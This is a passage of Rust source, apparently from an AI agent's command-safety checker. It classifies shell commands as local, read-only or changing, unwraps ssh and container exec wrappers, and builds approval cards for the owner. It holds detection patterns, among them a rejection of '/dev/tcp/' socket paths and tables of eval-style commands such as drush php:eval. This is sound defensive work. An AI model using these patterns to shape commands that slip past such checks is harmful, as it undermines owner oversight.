            } else if let Some((_, value)) = arg.split_once('=') {
                add(value);
            }
        }
    }
    operands
}

/// Build and test runners, with the subcommands that run project code
/// (build scripts, tests, package scripts, plugins). An empty list: every
/// invocation does.
const PROJECT_CODE_RUNNERS: &[(&str, &[&str])] = &[
    ("make", &[]),
    ("gmake", &[]),
    ("cmake", &[]),
    ("ninja", &[]),
    ("pytest", &[]),
    ("tox", &[]),
    ("nox", &[]),
    ("xcodebuild", &[]),
    ("gradle", &[]),
    ("gradlew", &[]),
    ("mvn", &[]),
    ("rake", &[]),
    ("python", &[]),
    ("python3", &[]),
    ("node", &[]),
    ("deno", &[]),
    ("bun", &[]),
    ("ruby", &[]),
    ("perl", &[]),
    ("php", &[]),
    (
        "cargo",
        &[
            "build", "b", "check", "c", "test", "t", "clippy", "run", "r", "bench", "doc", "d",
            "install",
        ],
    ),
    (
        "npm",
        &[
            "test",
            "t",
            "run",
            "run-script",
            "build",
            "lint",
            "start",
            "install",
            "i",
            "ci",
            "exec",
            "x",
        ],
    ),
    (
        "pnpm",
        &[
            "test", "t", "run", "build", "lint", "start", "install", "i", "exec", "dlx",
        ],
    ),
    (
        "yarn",
        &["test", "run", "build", "lint", "start", "install"],
    ),
    ("npx", &[]),
    ("go", &["test", "run", "generate"]),
    ("swift", &["build", "test", "run"]),
];

/// Whether this one command runs code the project defines
/// ([`CommandEffects::runs_project_code`]).
fn runs_project_code(program: &str, args: &[String]) -> bool {
    let program = program.strip_suffix(".exe").unwrap_or(program);
    let Some((_, subcommands)) = PROJECT_CODE_RUNNERS
        .iter()
        .find(|(name, _)| *name == program)
    else {
        return false;
    };
    if subcommands.is_empty() {
        return true;
    }
    // The first word that is not an option or a toolchain selector.
    args.iter()
        .map(String::as_str)
        .find(|arg| !arg.starts_with('-') && !arg.starts_with('+'))
        .is_none_or(|subcommand| subcommands.contains(&subcommand))
}

fn is_local_work_only(command: &str) -> bool {
    every_segment(command, &local_work_args_ok)
}

/// Whether every command reaches nothing beyond this computer: an
/// observation, `cd`, a local `ddev` project's own query, or a `curl`/`wget`
/// read (no body, upload or writing method) whose every address points at
/// this computer alone ([`crate::web::local_site_key`]: a `localhost` name,
/// a loopback address, or a dev site such as `*.ddev.site` that resolves
/// only to loopback). Checking a site the work set up is local work, and so
/// is a `ddev` query, though both need the network capability in the
/// sandbox to reach a local port or the container engine's socket. The
/// shapes are the same fail-closed tables as everywhere here. Resolves the
/// addresses' names, so it may block briefly.
pub fn reaches_only_this_computer(command: &str) -> bool {
    if sends_remote_write(command) {
        return false;
    }
    every_segment(command, &|program, args| match program {
        "cd" => true,
        "ddev" => ddev_query_ok(args),
        "curl" | "wget" => reads_only_local_sites(program, args),
        _ => is_program_observation(program, args),
    })
}

/// Drush and WP-CLI commands that run code they are handed, whatever it
/// reaches: never only the project's own business.
const DDEV_TOOL_CODE_COMMANDS: &[(&str, &str)] = &[
    ("drush", "php:eval"),
    ("drush", "php-eval"),
    ("drush", "eval"),
    ("drush", "ev"),
    ("drush", "php:script"),
    ("drush", "php-script"),
    ("drush", "scr"),
    ("drush", "php"),
    ("drush", "php:cli"),
    ("drush", "core:cli"),
    ("drush", "cli"),
    ("wp", "eval"),
    ("wp", "eval-file"),
    ("wp", "shell"),
];

/// Whether every command is a `ddev` project's own Drush or WP-CLI command
/// on its own site (run in its own containers, against its own database):
/// no code handed to it, no URL among its arguments, no file written or
/// deleted on this computer, nothing sent to a remote. Run inside a folder
/// the request's work created, what it touches is that work's own project,
/// whatever the command is (live 2026-11-13: `ddev drush watchdog:show` in
/// the Drupal site the helper had just installed asked the owner). Which
/// folder it runs in is the caller's to judge; a `cd` is not accepted, so
/// the folder is the one the call names.
pub fn acts_on_its_ddev_project(command: &str) -> bool {
    if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
    {
        return false;
    }
    every_segment(command, &|program, args| {
        program == "ddev"
            && !args.iter().any(|arg| {
                arg.contains("://")
                    || DDEV_TOOL_CODE_OPTIONS
                        .iter()
                        .any(|option| arg == option || arg.starts_with(&format!("{option}=")))
            })
            && match args
                .iter()
                .map(String::as_str)
                .filter(|arg| !arg.starts_with('-'))
                .collect::<Vec<_>>()
                .as_slice()
            {
                [tool @ ("drush" | "wp"), command, ..] => !DDEV_TOOL_CODE_COMMANDS
                    .iter()
                    .any(|(t, c)| t == tool && c == command),
                _ => false,
            }
    })
}

/// Whether every command only reads or reports on this computer and
/// writes nothing: observations, `cd`, a local `ddev` project's own query,
/// and `curl` reads of sites on this computer that save nothing (no output,
/// header, cookie or trace file). Checking the dev site the work set up is
/// a read, like listing its folder. Fail closed like the other shapes:
/// `wget` saves by default, and redirects into files, deletes and writes to
/// a site are excluded.
pub fn only_reads_this_computer(command: &str) -> bool {
    if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
    {
        return false;
    }
    every_segment(command, &|program, args| match program {
        "cd" => true,
        "ddev" => ddev_query_ok(args),
        "curl" => !curl_saves_files(args) && reads_only_local_sites(program, args),
        _ => is_program_observation(program, args),
    })
}

/// Whether every command only reads, here or across the network, and
/// changes nothing: [`only_reads_this_computer`]'s shapes, plus `curl`
/// reads of any site that save nothing and send no write. What a run given
/// the network capability does when it is not this is a change somewhere
/// the sandbox does not reach (a container engine, a service).
pub fn only_reads(command: &str) -> bool {
    if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
    {
        return false;
    }
    every_segment(command, &|program, args| match program {
        "cd" => true,
        "ddev" => ddev_query_ok(args),
        "curl" => !curl_saves_files(args),
        _ => is_program_observation(program, args),
    })
}

/// For a command that runs another command somewhere else (`docker exec`,
/// `podman exec`, `kubectl exec`, `ssh`): whether that inner command only
/// reads. `None` when `command` is not one such single wrapper, or its inner
/// command cannot be read structurally. The inner text is judged by
/// [`only_reads`], so a redirection, a delete or an unknown program inside
/// counts as a change. Read from token structure only (machine format: a
/// shell command line), never from wording.
pub fn remote_inner_only_reads(command: &str) -> Option<bool> {
    remote_inner_script(command).map(|inner| only_reads(&inner))
}

/// Whether `command` recognizably changes something: a redirection into a
/// file, a delete, a remote write, a known file-changing program (`cp`,
/// `mkdir`, `chmod`, `tee`, `sed -i`, ...), or a package install. Behind a
/// remote-exec wrapper the command it runs is judged. Unlike "not
/// read-only", an unknown program is not a recognized change, so a caller
/// that credits work from this can only miss a change, never invent one.
/// Read from token structure only (machine format: a shell command line).
pub fn recognizably_changes(command: &str) -> bool {
    let text = remote_inner_script(command).unwrap_or_else(|| command.to_string());
    if command_effects(&text).deletes || scan(&text).writes_file || sends_remote_write(&text) {
        return true;
    }
    expanded_commands(&text).iter().any(|tokens| {
        let args = &tokens[1..];
        match basename(&tokens[0]) {
            "mkdir" | "touch" | "cp" | "mv" | "ln" | "chmod" | "chown" | "tee" | "install"
            | "patch" | "truncate" => true,
            "sed" => args
                .iter()
                .any(|arg| arg.starts_with("-i") || arg == "--in-place"),
            "apt" | "apt-get" | "yum" | "dnf" | "pip" | "pip3" | "npm" | "pnpm" | "yarn"
            | "gem" | "brew" => args.iter().any(|arg| arg == "install" || arg == "add"),
            "apk" => args.iter().any(|arg| arg == "add"),
            "git" => matches!(
                git_subcommand(args),
                Some("commit" | "add" | "apply" | "checkout" | "switch" | "merge" | "init")
            ),
            _ => false,
        }
    })
}

/// The command a single remote-exec wrapper runs, as shell text.
fn remote_inner_script(command: &str) -> Option<String> {
    let segments: Vec<String> = scan(command)
        .segments
        .into_iter()
        .filter(|segment| !segment.trim().is_empty())
        .collect();
    let [segment] = segments.as_slice() else {
        return None;
    };
    let tokens = shell_words::split(segment).ok()?;
    let program = basename(tokens.first()?);
    let second = tokens.get(1).map(String::as_str);
    let third = tokens.get(2).map(String::as_str);
    // Options that take a separate value, per wrapper.
    let (start, valued): (usize, &[&str]) = match program {
        "docker" | "podman" if tokens.get(1).map(String::as_str) == Some("exec") => (
            2,
            &[
                "-e",
                "--env",
                "-u",
                "--user",
                "-w",
                "--workdir",
                "--env-file",
            ],
        ),
        // `docker compose exec <service> <command>`.
        "docker" | "podman" if second == Some("compose") && third == Some("exec") => (
            3,
            &["-e", "--env", "-u", "--user", "-w", "--workdir", "--index"],
        ),
        "docker-compose" | "podman-compose" if second == Some("exec") => (
            2,
            &["-e", "--env", "-u", "--user", "-w", "--workdir", "--index"],
        ),
        // `lxc exec <instance> -- <command>` (and Incus, its fork).
        "lxc" | "incus" if second == Some("exec") => {
            let dash = tokens.iter().position(|token| token == "--")?;
            return inner_text(&tokens[dash + 1..]);
        }
        // `vagrant ssh [machine] -c '<command>'`.
        "vagrant" if second == Some("ssh") => {
            let flag = tokens
                .iter()
                .position(|token| token == "-c" || token == "--command")?;
            return tokens.get(flag + 1).cloned();
        }
        // `gcloud compute ssh <instance> --command='<command>'`.
        "gcloud" if second == Some("compute") && third == Some("ssh") => {
            return tokens.iter().enumerate().find_map(|(index, token)| {
                if token == "--command" {
                    tokens.get(index + 1).cloned()
                } else {
                    token.strip_prefix("--command=").map(str::to_string)
                }
            });
        }
        "kubectl" if tokens.get(1).map(String::as_str) == Some("exec") => {
            let dash = tokens.iter().position(|token| token == "--")?;
            return inner_text(&tokens[dash + 1..]);
        }
        "ssh" => (
            1,
            &[
                "-p", "-i", "-l", "-o", "-F", "-J", "-b", "-c", "-D", "-E", "-L", "-R", "-W", "-m",
                "-O", "-Q", "-S", "-w",
            ],
        ),
        _ => return None,
    };
    let mut index = start;
    while let Some(token) = tokens.get(index) {
        if token == "--" {
            index += 1;
            break;
        }
        if !token.starts_with('-') {
            break;
        }
        index += if valued.contains(&token.as_str()) {
            2
        } else {
            1
        };
    }
    let rest = tokens.get(index + 1..)?;
    // `ssh` joins its remaining words with spaces and the remote shell parses
    // the result; a container runtime runs them as one argument vector.
    if program == "ssh" {
        return (!rest.is_empty()).then(|| rest.join(" "));
    }
    // The container, then the command it runs.
    inner_text(rest)
}

/// `tokens` as one command line: the script of `sh -c '<script>'` (any
/// shell, with `-c` among its single-dash flags), else the words rejoined.
fn inner_text(tokens: &[String]) -> Option<String> {
    let first = tokens.first()?;
    if matches!(basename(first), "sh" | "bash" | "zsh" | "dash" | "ash") {
        let flag = tokens[1..].iter().position(|token| {
            token.starts_with('-') && !token.starts_with("--") && token.contains('c')
        })?;
        return tokens.get(flag + 2).cloned();
    }
    Some(shell_words::join(tokens))
}

/// Whether a `curl` call saves something to a file: an output, header,
/// cookie or trace file. Output sent to `/dev/null` saves nothing.
fn curl_saves_files(args: &[String]) -> bool {
    const LONG: &[&str] = &[
        "--output",
        "--remote-name",
        "--remote-name-all",
        "--dump-header",
        "--cookie-jar",
        "--trace",
        "--trace-ascii",
        "--stderr",
        "--libcurl",
        "--etag-save",
        "--hsts",
        "--alt-svc",
        "--create-dirs",
        "--output-dir",
    ];
    let to_null = |value: Option<&String>| value.is_some_and(|value| value == "/dev/null");
    args.iter().enumerate().any(|(index, arg)| {
        let next = args.get(index + 1);
        if arg == "--output" || arg == "-o" {
            return !to_null(next);
        }
        if let Some(value) = arg.strip_prefix("--output=") {
            return value != "/dev/null";
        }
        if LONG
            .iter()
            .any(|option| arg == *option || arg.starts_with(&format!("{option}=")))
        {
            return true;
        }
        if short_cluster_has(arg, &['O', 'D', 'c']) {
            return true;
        }
        // `-so FILE`: the cluster's last letter takes the next word; an
        // `o` inside a cluster takes the rest of it.
        if arg.starts_with('-')
            && !arg.starts_with("--")
            && let Some(at) = arg.find('o')
        {
            return if at + 1 == arg.len() {
                !to_null(next)
            } else {
                &arg[at + 1..] != "/dev/null"
            };
        }
        false
    })
}

/// What a command runs, in a word or two for the owner: "a shell loop" for
/// a `for`/`while`/`until` loop, else its first program's name ("ddev"),
/// "a command" when neither can be read. Never the raw line.
pub fn program_label(command: &str) -> String {
    // The first segment that runs something (a `cd` only moves).
    let first = scan(command)
        .segments
        .into_iter()
        .filter_map(|segment| shell_words::split(&segment).ok())
        .find(|words| {
            words
                .iter()
                .find(|word| !is_env_assignment(word))
                .is_some_and(|program| !matches!(basename(program), "cd" | "pushd" | "popd"))
        })
        .unwrap_or_default();
    let mut words = first.iter().skip_while(|word| is_env_assignment(word));
    let Some(program) = words.next() else {
        return "a command".to_string();
    };
    let program = match basename(program) {
        "for" | "while" | "until" | "select" => return "a shell loop".to_string(),
        wrapper if WRAPPERS.contains(&wrapper) => words
            .find(|word| !word.starts_with('-'))
            .map(String::as_str),
        name => Some(name),
    };
    program
        .map(basename)
        .filter(|name| {
            !name.is_empty()
                && name
                    .chars()
                    .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.'))
        })
        .map_or_else(|| "a command".to_string(), str::to_string)
}

/// The approval card for running `line`, from its structure: the folders
/// it only looks inside, and the one effect worth a warning (deleting,
/// with the targets when they can be read, or sending a write to a
/// service). `title` is the call's own few words for itself. The line is
/// shown with every secret value hidden
/// ([`crate::sanitize::redact_command_secrets`]).
pub fn command_card(line: &str, title: Option<String>) -> aidaemon_core::ApprovalCard {
    let effects = command_effects(line);
    let impact = if effects.deletes {
        Some(aidaemon_core::HighImpact::Deletes {
            targets: effects.delete_targets.unwrap_or_default(),
        })
    } else if sends_remote_write(line) {
        Some(aidaemon_core::HighImpact::Sends)
    } else {
        None
    };
    aidaemon_core::ApprovalCard {
        impact,
        ..aidaemon_core::ApprovalCard::new(aidaemon_core::CardAction::Command {
            line: crate::sanitize::redact_command_secrets(line),
            title,
            looks_inside: looked_inside(line),
        })
    }
}

/// Programs that list or describe folders, whose operands name the folders
/// they look inside.
const FOLDER_LISTERS: &[&str] = &["ls", "tree", "du", "find", "stat"];

/// The folders a read-only command looks inside, by name, for the owner's
/// card ("look inside your claude-drupal and claude-wordpress folders").
/// Empty unless every command only reads or reports on this computer
/// (observations, `cd`, a local `ddev` project's own query) and writes no
/// file. Each listing command's operand (`ls`, `tree`, `du`, `find`,
/// `stat`, a loop's words bound) counts once, by its first component when
/// relative and its last when absolute; `.`, `..`, home and anything still
/// holding a variable or a glob are left out.
pub fn looked_inside(command: &str) -> Vec<String> {
    if command_effects(command).deletes || scan(command).writes_file {
        return Vec::new();
    }
    let folders = std::cell::RefCell::new(Vec::<String>::new());
    let reads_only = every_segment(command, &|program, args| {
        let ok = match program {
            "cd" => true,
            "ddev" => ddev_query_ok(args),
            _ => is_program_observation(program, args),
        };
        if ok && FOLDER_LISTERS.contains(&program) {
            let mut folders = folders.borrow_mut();
            for operand in lister_operands(program, args) {
                if let Some(name) = folder_name(operand)
                    && !folders.contains(&name)
                {
                    folders.push(name);
                }
            }
        }
        ok
    });
    if reads_only {
        folders.into_inner()
    } else {
        Vec::new()
    }
}

/// A listing command's path operands: its non-option arguments (`find`:
/// those before its expression), skipping the values of `tree`'s `-L`,
/// `-I` and `-P` and `du`'s `-d`.
fn lister_operands<'a>(program: &str, args: &'a [String]) -> Vec<&'a str> {
    let mut operands = Vec::new();
    let mut iter = args.iter();
    while let Some(arg) = iter.next() {
        if program == "find" && (arg.starts_with('-') || matches!(arg.as_str(), "(" | "!")) {
            break;
        }
        if matches!(
            (program, arg.as_str()),
            ("tree", "-L" | "-I" | "-P") | ("du", "-d")
        ) {
            iter.next();
            continue;
        }
        if !arg.starts_with('-') {
            operands.push(arg.as_str());
        }
    }
    operands
}

/// A folder's name as the owner knows it, from an operand.
fn folder_name(operand: &str) -> Option<String> {
    let path = operand.trim_end_matches('/');
    if path.is_empty()
        || path.starts_with('~')
        || path
            .chars()
            .any(|c| matches!(c, '$' | '*' | '?' | '[' | '{'))
    {
        return None;
    }
    let name = if path.starts_with('/') {
        path.rsplit('/').next()?
    } else {
        path.split('/')
            .find(|part| !part.is_empty() && *part != ".")?
    };
    (!matches!(name, "" | "." | "..")).then(|| name.to_string())
}

/// A `curl` or `wget` call in a shape the option tables understand whose
/// every address (operands and `--url`) points at this computer alone.
fn reads_only_local_sites(program: &str, args: &[String]) -> bool {
    let spec = match program {
        "curl" => &CURL,
        "wget" => &WGET,
        _ => return false,
    };
    let Some(parsed) = parse_options(spec, args) else {
        return false;
    };
    if parsed
        .values
        .iter()
        .any(|(_, value)| value.contains("%output{"))
    {
        return false;
    }
    let urls: Vec<&String> = parsed
        .positionals
        .iter()
        .chain(
            parsed
                .values
                .iter()
                .filter(|(role, _)| *role == OptionValue::Url)
                .map(|(_, value)| value),
        )
        .collect();
    !urls.is_empty()
        && urls
            .iter()
            .all(|url| strict_url(url).is_some() && crate::web::local_site_key(url).is_some())
}

/// Whether `command` is one or more simple commands, each passing `ok` on
/// its program's bare name and its arguments: no syntax that hides a
/// command, no input redirects, no variable assignments, programs named
/// bare or from a system bin directory. Lists, pipes, `( ... )` subshells
/// and `for` loops over literal words are read structurally
/// ([`simple_commands`]), so every command they run is checked.
fn every_segment(command: &str, ok: &dyn Fn(&str, &[String]) -> bool) -> bool {
    if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
        return false;
    }
    // A script's lines are commands like `;`-separated ones.
    let scanned = scan(&command.replace("\\\n", " "));
    // Local work never reads stdin from a file: an interpreter fed a file
    // this way runs code no argument names.
    if scanned.hidden_syntax || !scanned.input_targets.is_empty() {
        return false;
    }
    let Some(commands) = simple_commands(&scanned) else {
        return false;
    };
    !commands.is_empty()
        && commands.iter().all(|tokens| {
            let tokens = without_display_env(tokens);
            let Some(program) = tokens.first() else {
                return false;
            };
            !is_env_assignment(program)
                && program_path_ok(program)
                && ok(basename(program), &tokens[1..])
        })
}

/// A program named bare or from a system bin directory.
fn program_path_ok(program: &str) -> bool {
    !program.contains('/')
        || program
            .rsplit_once('/')
            .is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir))
}

/// One command of a compound command line, as the shell groups it.
#[derive(Debug, Clone, PartialEq, Eq)]
enum ShellCommand {
    /// A program and its arguments, redirections removed.
    Simple(Vec<String>),
    /// `( list )`: a list run in a subshell.
    Subshell(Vec<ShellCommand>),
    /// `for VAR in WORDS; do LIST; done`.
    For {
        var: String,
        words: Vec<String>,
        body: Vec<ShellCommand>,
    },
}

/// The pieces a scanned line is parsed from.
#[derive(Debug, Clone, PartialEq, Eq)]
enum Piece {
    /// One segment's words, redirections removed.
    Words(Vec<String>),
    Open,
    Close,
    /// `;`, `|`, `&` or a newline (`&&` and `||` are two of them).
    Separator(char),
}

/// Where a list being parsed ends.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
enum ListEnd {
    Input,
    Subshell,
    Loop,
}

/// Reserved words that start or continue syntax this parser does not
/// model; a list using one is not understood.
const UNMODELLED_KEYWORDS: &[&str] = &[
    "if", "then", "elif", "else", "fi", "while", "until", "case", "esac", "select", "function",
    "{", "}", "!", "[[", "]]", "do", "in", "coproc",
];

struct ShellParser {
    pieces: Vec<Piece>,
    pos: usize,
}

impl ShellParser {
    fn list(&mut self, end: ListEnd) -> Option<Vec<ShellCommand>> {
        let mut commands = Vec::new();
        // A command just ended: only a separator or the list's end may follow.
        let mut ended = false;
        loop {
            let Some(piece) = self.pieces.get(self.pos).cloned() else {
                return (end == ListEnd::Input).then_some(commands);
            };
            match piece {
                Piece::Separator(_) => {
                    ended = false;
                    self.pos += 1;
                }
                Piece::Close => {
                    if end != ListEnd::Subshell {
                        return None;
                    }
                    self.pos += 1;
                    return Some(commands);
                }
                _ if ended => return None,
                Piece::Open => {
                    self.pos += 1;
                    let inner = self.list(ListEnd::Subshell)?;
                    // Redirections after the closing parenthesis apply to
                    // the whole subshell; the scan has vetted them.
                    if matches!(self.pieces.get(self.pos), Some(Piece::Words(words)) if words.is_empty())
                    {
                        self.pos += 1;
                    }
                    commands.push(ShellCommand::Subshell(inner));
                    ended = true;
                }
                Piece::Words(words) => {
                    let first = words.first()?.as_str();
                    if first == "done" {
                        if end != ListEnd::Loop || words.len() != 1 {
                            return None;
                        }
                        self.pos += 1;
                        return Some(commands);
                    }
                    if first == "for" {
                        commands.push(self.for_loop(&words)?);
                    } else if UNMODELLED_KEYWORDS.contains(&first)
                        || without_display_env(&words)
                            .first()
                            .map_or(first, String::as_str)
                            .contains('$')
                    {
                        // A program named by a variable is whatever the
                        // variable holds, which the other readings of the
                        // command (deletes, network) never see.
                        return None;
                    } else {
                        self.pos += 1;
                        commands.push(ShellCommand::Simple(words));
                    }
                    ended = true;
                }
            }
        }
    }

    /// `for VAR in WORDS` `;`/newline `do LIST` `done`, starting at its
    /// header.
    fn for_loop(&mut self, header: &[String]) -> Option<ShellCommand> {
        let var = header.get(1)?;
        let valid_name = var
            .chars()
            .next()
            .is_some_and(|c| c == '_' || c.is_ascii_alphabetic())
            && var.chars().all(|c| c == '_' || c.is_ascii_alphanumeric());
        if !valid_name || header.get(2).map(String::as_str) != Some("in") {
            return None;
        }
        let words = header[3..].to_vec();
        self.pos += 1;
        let mut separated = false;
        while let Some(Piece::Separator(sep)) = self.pieces.get(self.pos) {
            if !matches!(sep, ';' | '\n') {
                return None;
            }
            separated = true;
            self.pos += 1;
        }
        let Some(Piece::Words(opening)) = self.pieces.get(self.pos).cloned() else {
            return None;
        };
        if !separated || opening.first().map(String::as_str) != Some("do") {
            return None;
        }
        if opening.len() == 1 {
            self.pos += 1;
        } else {
            self.pieces[self.pos] = Piece::Words(opening[1..].to_vec());
        }
        let body = self.list(ListEnd::Loop)?;
        Some(ShellCommand::For {
            var: var.clone(),
            words,
            body,
        })
    }
}

/// The compound structure of a scanned command: lists (`;`, `&&`, `||`,
/// `&`, newlines), pipes, `( ... )` subshells and `for` loops. `None` when
/// any part is not understood (hidden syntax is the caller's to reject).
fn parse_shell(scanned: &Scan) -> Option<Vec<ShellCommand>> {
    let mut pieces = Vec::new();
    for (index, segment) in scanned.segments.iter().enumerate() {
        if !segment.trim().is_empty() {
            let words = strip_redirections(shell_words::split(segment).ok()?);
            pieces.push(Piece::Words(words));
        }
        if let Some(&separator) = scanned.separators.get(index) {
            pieces.push(match separator {
                '(' => Piece::Open,
                ')' => Piece::Close,
                other => Piece::Separator(other),
            });
        }
    }
    // A segment of only redirections may follow a subshell, nothing else.
    for (index, piece) in pieces.iter().enumerate() {
        if matches!(piece, Piece::Words(words) if words.is_empty())
            && !matches!(index.checked_sub(1).map(|i| &pieces[i]), Some(Piece::Close))
        {
            return None;
        }
    }
    ShellParser { pieces, pos: 0 }.list(ListEnd::Input)
}

/// `token` with `$var` and `${var}` replaced by `value`.
fn substitute_var(token: &str, var: &str, value: &str) -> String {
    let braced = format!("${{{var}}}");
    let bare = format!("${var}");
    let mut out = String::with_capacity(token.len());
    let mut rest = token;
    while let Some(index) = rest.find('$') {
        out.push_str(&rest[..index]);
        let tail = &rest[index..];
        if let Some(after) = tail.strip_prefix(&braced) {
            out.push_str(value);
            rest = after;
        } else if let Some(after) = tail
            .strip_prefix(&bare)
            .filter(|after| !after.starts_with(|c: char| c == '_' || c.is_ascii_alphanumeric()))
        {
            out.push_str(value);
            rest = after;
        } else {
            out.push('$');
            rest = &tail[1..];
        }
    }
    out.push_str(rest);
    out
}

/// `commands` with the loop variable `var` bound to `value`.
fn bind_var(commands: &[ShellCommand], var: &str, value: &str) -> Vec<ShellCommand> {
    commands
        .iter()
        .map(|command| match command {
            ShellCommand::Simple(tokens) => ShellCommand::Simple(
                tokens
                    .iter()
                    .map(|token| substitute_var(token, var, value))
                    .collect(),
            ),
            ShellCommand::Subshell(inner) => ShellCommand::Subshell(bind_var(inner, var, value)),
            ShellCommand::For {
                var: inner_var,
                words,
                body,
            } => ShellCommand::For {
                var: inner_var.clone(),
                words: words
                    .iter()
                    .map(|word| substitute_var(word, var, value))
                    .collect(),
                // An inner loop over the same name shadows it.
                body: if inner_var == var {
                    body.clone()
                } else {
                    bind_var(body, var, value)
                },
            },
        })
        .collect()
}

/// Every simple command `commands` runs, a loop's body once per word with
/// its variable bound. `None` when a loop word is not one plain operand: a
/// variable or whitespace could split it into other arguments, and a word
/// starting with `-` would land as an option the readings of the raw text
/// (deletes, network) cannot see.
fn flatten_commands(commands: &[ShellCommand], out: &mut Vec<Vec<String>>) -> Option<()> {
    for command in commands {
        match command {
            ShellCommand::Simple(tokens) => out.push(tokens.clone()),
            ShellCommand::Subshell(inner) => flatten_commands(inner, out)?,
            ShellCommand::For { var, words, body } => {
                if words.is_empty() {
                    flatten_commands(body, out)?;
                }
                for word in words {
                    if word.is_empty()
                        || word.starts_with('-')
                        || word
                            .chars()
                            .any(|c| c.is_whitespace() || matches!(c, '$' | '`' | '"' | '\''))
                    {
                        return None;
                    }
                    flatten_commands(&bind_var(body, var, word), out)?;
                }
            }
        }
    }
    Some(())
}

/// The simple commands a scanned command line runs, redirections removed,
/// through lists, pipes, subshells and `for` loops (each body once per
/// word). `None` when its structure is not understood.
fn simple_commands(scanned: &Scan) -> Option<Vec<Vec<String>>> {
    let mut out = Vec::new();
    flatten_commands(&parse_shell(scanned)?, &mut out)?;
    Some(out)
}

/// Options through which a local-work program runs code given inline (or
/// read from stdin) rather than a file in the workspace.
fn runs_inline_code(program: &str, args: &[String]) -> bool {
    let option = |names: &[&str]| {
        args.iter().any(|arg| {
            names.iter().any(|name| match arg.strip_prefix(name) {
                // A short option may carry its value attached (`-Ex`).
                Some(_) if name.len() == 2 => true,
                Some(rest) => rest.is_empty() || rest.starts_with('='),
                None => false,
            })
        })
    };
    match program {
        // `-c` anywhere: a configuration override before the subcommand, or
        // a subcommand option that can carry one.
        "git" => {
            option(&["-c", "--config-env", "--exec"])
                || (args.first().is_some_and(|sub| sub == "rebase") && option(&["-x"]))
        }
        "cargo" => option(&["--config"]),
        "make" => option(&["--eval", "-E"]),
        "go" => option(&["-toolexec", "--toolexec", "-exec", "--exec"]),
        // The script arrives on stdin or a descriptor.
        "python" | "python3" | "node" => args.first().is_some_and(|script| {
            script == "-" || script == "/dev/stdin" || script.starts_with("/dev/fd/")
        }),
        _ => false,
    }
}

fn local_work_args_ok(program: &str, args: &[String]) -> bool {
    if runs_inline_code(program, args) {
        return false;
    }
    if let Some((_, subcommands)) = LOCAL_WORK_SUBCOMMANDS
        .iter()
        .find(|(name, _)| *name == program)
    {
        // A toolchain selector may precede cargo's subcommand; any other
        // leading option (git's `-c`, `-C`) is not local work.
        let rest = match program {
            "cargo" => args
                .iter()
                .skip_while(|arg| arg.starts_with('+'))
                .collect::<Vec<_>>(),
            _ => args.iter().collect(),
        };
        return rest
            .first()
            .is_some_and(|subcommand| subcommands.contains(&subcommand.as_str()));
    }
    match program {
        // A script path, never inline code (`-c`, `-e`) or a module (`-m`).
        "python" | "python3" | "node" => args.first().is_some_and(|arg| !arg.starts_with('-')),
        "find" => !args
            .iter()
            .any(|arg| arg != "-delete" && FIND_MUTATING_FLAGS.contains(&arg.as_str())),
        "ddev" => ddev_query_ok(args),
        _ if LOCAL_WORK_PROGRAMS.contains(&program) => true,
        _ if OBSERVATION_PROGRAMS.contains(&program) => observation_args_ok(program, args),
        _ if in_powershell_table(POWERSHELL_LOCAL_WORK, program)
            || in_powershell_table(POWERSHELL_DELETES, program) =>
        {
            powershell_args_plain(args)
        }
        _ => is_powershell_observation(program, args),
    }
}

fn basename(program: &str) -> &str {
    let name = program.rsplit('/').next().unwrap_or(program);
    // On Windows `curl.exe` is the real curl (shipped with Windows) and
    // reads as `curl`: an explicit `.exe` names the program, never an alias.
    if cfg!(windows)
        && let Some(stem) = name
            .len()
            .checked_sub(4)
            .filter(|&cut| name.is_char_boundary(cut) && name[cut..].eq_ignore_ascii_case(".exe"))
            .map(|cut| &name[..cut])
    {
        return stem;
    }
    // Windows PowerShell's `curl` and `wget` are `Invoke-WebRequest`, whose
    // arguments are not curl's: never read as curl.
    if cfg!(windows)
        && [
            "curl",
            "wget",
            "iwr",
            "irm",
            "invoke-webrequest",
            "invoke-restmethod",
        ]
        .iter()
        .any(|alias| alias.eq_ignore_ascii_case(name))
    {
        return "invoke-webrequest";
    }
    name
}

/// An assignment that only changes how a program formats or localizes what
/// it prints: a time zone, a locale, a terminal size or colour. Any other
/// (`PATH`, `LD_PRELOAD`, `GIT_*`, a pager) can change what runs, so a
/// command carrying one is judged as before.
fn is_display_env_assignment(token: &str) -> bool {
    is_env_assignment(token)
        && token.split_once('=').is_some_and(|(name, _)| {
            matches!(
                name,
                "TZ" | "LANG"
                    | "LANGUAGE"
                    | "LC_ALL"
                    | "COLUMNS"
                    | "LINES"
                    | "NO_COLOR"
                    | "CLICOLOR"
                    | "TERM"
            ) || (name.starts_with("LC_") && name[3..].chars().all(|ch| ch.is_ascii_uppercase()))
        })
}

/// The command after its leading display assignments
/// ([`is_display_env_assignment`]); any other leading assignment stays.
fn without_display_env(tokens: &[String]) -> &[String] {
    let start = tokens
        .iter()
        .take_while(|token| is_display_env_assignment(token))
        .count();
    &tokens[start..]
}

fn is_env_assignment(token: &str) -> bool {
    token.split_once('=').is_some_and(|(name, _)| {
        !name.is_empty()
            && name.chars().enumerate().all(|(index, ch)| {
                ch == '_' || ch.is_ascii_alphanumeric() && (index > 0 || !ch.is_ascii_digit())
            })
    })
}

/// Result of the quote-aware scan.
struct Scan {
    segments: Vec<String>,
    /// Syntax that can write, execute, or hide something: file redirects,
    /// input redirects other than `/dev/null`, heredocs, substitutions,
    /// process substitution, comments, newlines, unclosed quotes.
    unsafe_syntax: bool,
    /// Unsafe syntax other than the structure a compound command is built
    /// from (newlines and `(`/`)` subshells): substitutions, heredocs,
    /// comments, process substitution, descriptor-numbered input, a newline
    /// inside single quotes, unclosed quotes.
    hidden_syntax: bool,
    /// Output redirected into a file (not `/dev/null` or a descriptor).
    writes_file: bool,
    /// Targets of plain input redirects (`< file`, `<file`, `0< file`),
    /// as written. A here-doc, here-string or process substitution is
    /// unsafe syntax instead.
    input_targets: Vec<String>,
    /// Targets of output redirects into files, as written (not
    /// descriptor duplications or the null and standard-stream devices).
    output_targets: Vec<String>,
